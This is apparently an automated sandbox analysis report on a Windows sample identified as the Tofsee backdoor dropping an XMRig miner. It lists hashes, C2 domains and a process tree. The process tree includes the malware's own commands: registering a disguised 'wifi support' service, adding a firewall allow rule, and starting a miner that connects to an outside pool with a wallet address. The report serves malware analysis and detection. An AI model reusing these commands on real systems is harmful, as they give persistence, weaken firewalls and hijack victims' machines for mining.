Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-05-2023 16:14

General

  • Target

    file.exe

  • Size

    235KB

  • MD5

    cebfc9645b080c19ca29154ed4fbe4ab

  • SHA1

    2de92713f76bbfd4f455be2146c5e890ea41e6a0

  • SHA256

    8299a18a6f137c931988ad6e1f68e99240c02fc765bdf37beb652b39d91fa822

  • SHA512

    4836f50f24f3320370e54ab35ea695ef4f8e2008757192ae5b93581b28a108c40792bd515053f2af8f1446df59c8d6c30b1334426aea790b8854393875f2cd8e

  • SSDEEP

    3072:bUPv9wTIHrDRHV5JCdezw0OU9c0WAwnxLYdNfD/e8h1lGtYEZllNHwh+LOb3TYtq:QHKIHZVnCD0PVU6bGHZf5sLbDYt+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rihrwaeh\
      2⤵
        PID:832
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xedqyygk.exe" C:\Windows\SysWOW64\rihrwaeh\
        2⤵
          PID:3752
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rihrwaeh binPath= "C:\Windows\SysWOW64\rihrwaeh\xedqyygk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1884
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rihrwaeh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rihrwaeh
          2⤵
          • Launches sc.exe
          PID:620
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 1172
          2⤵
          • Program crash
          PID:3340
      • C:\Windows\SysWOW64\rihrwaeh\xedqyygk.exe
        C:\Windows\SysWOW64\rihrwaeh\xedqyygk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1840
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2216
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1576
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1840 -s 532
          2⤵
          • Program crash
          PID:852
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4648 -ip 4648
        1⤵
          PID:664
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1840 -ip 1840
          1⤵
            PID:2660

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xedqyygk.exe

            Filesize

            12.6MB

            MD5

            bcabf8b216894f4d268d0aef50b239bc

            SHA1

            ba725f45b610489bb3b13274fa411fafd601020b

            SHA256

            8c2f174d82edd02eeba8a236d4a0a4649ffcdcf970a13e339dcd16578926841d

            SHA512

            8014d4b6dc81f444eda19fee1e56592011c5a14746f266d9020dc30a1ad3ae6d71b44d71f72b55bd4a6560474933809e7afc2d23275238a6551d18b63cee7732

          • C:\Windows\SysWOW64\rihrwaeh\xedqyygk.exe

            Filesize

            12.6MB

            MD5

            bcabf8b216894f4d268d0aef50b239bc

            SHA1

            ba725f45b610489bb3b13274fa411fafd601020b

            SHA256

            8c2f174d82edd02eeba8a236d4a0a4649ffcdcf970a13e339dcd16578926841d

            SHA512

            8014d4b6dc81f444eda19fee1e56592011c5a14746f266d9020dc30a1ad3ae6d71b44d71f72b55bd4a6560474933809e7afc2d23275238a6551d18b63cee7732

          • memory/1576-188-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-199-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-198-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-197-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-196-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-195-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-194-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1576-193-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1840-144-0x0000000000400000-0x00000000006BB000-memory.dmp

            Filesize

            2.7MB

          • memory/2216-167-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-173-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-156-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-159-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-160-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-161-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-162-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-163-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-164-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-165-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-166-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-140-0x00000000008C0000-0x00000000008D5000-memory.dmp

            Filesize

            84KB

          • memory/2216-169-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-170-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-168-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-171-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-172-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-153-0x0000000000DE0000-0x0000000000DE6000-memory.dmp

            Filesize

            24KB

          • memory/2216-174-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-175-0x0000000000DF0000-0x0000000000E00000-memory.dmp

            Filesize

            64KB

          • memory/2216-176-0x0000000001DE0000-0x0000000001DE5000-memory.dmp

            Filesize

            20KB

          • memory/2216-179-0x0000000001DE0000-0x0000000001DE5000-memory.dmp

            Filesize

            20KB

          • memory/2216-180-0x0000000007480000-0x000000000788B000-memory.dmp

            Filesize

            4.0MB

          • memory/2216-183-0x0000000007480000-0x000000000788B000-memory.dmp

            Filesize

            4.0MB

          • memory/2216-184-0x0000000001DF0000-0x0000000001DF7000-memory.dmp

            Filesize

            28KB

          • memory/2216-152-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

          • memory/2216-149-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

          • memory/2216-148-0x00000000008C0000-0x00000000008D5000-memory.dmp

            Filesize

            84KB

          • memory/2216-146-0x00000000008C0000-0x00000000008D5000-memory.dmp

            Filesize

            84KB

          • memory/2216-145-0x00000000008C0000-0x00000000008D5000-memory.dmp

            Filesize

            84KB

          • memory/2216-143-0x00000000008C0000-0x00000000008D5000-memory.dmp

            Filesize

            84KB

          • memory/4648-135-0x0000000000810000-0x0000000000823000-memory.dmp

            Filesize

            76KB

          • memory/4648-138-0x0000000000400000-0x00000000006BB000-memory.dmp

            Filesize

            2.7MB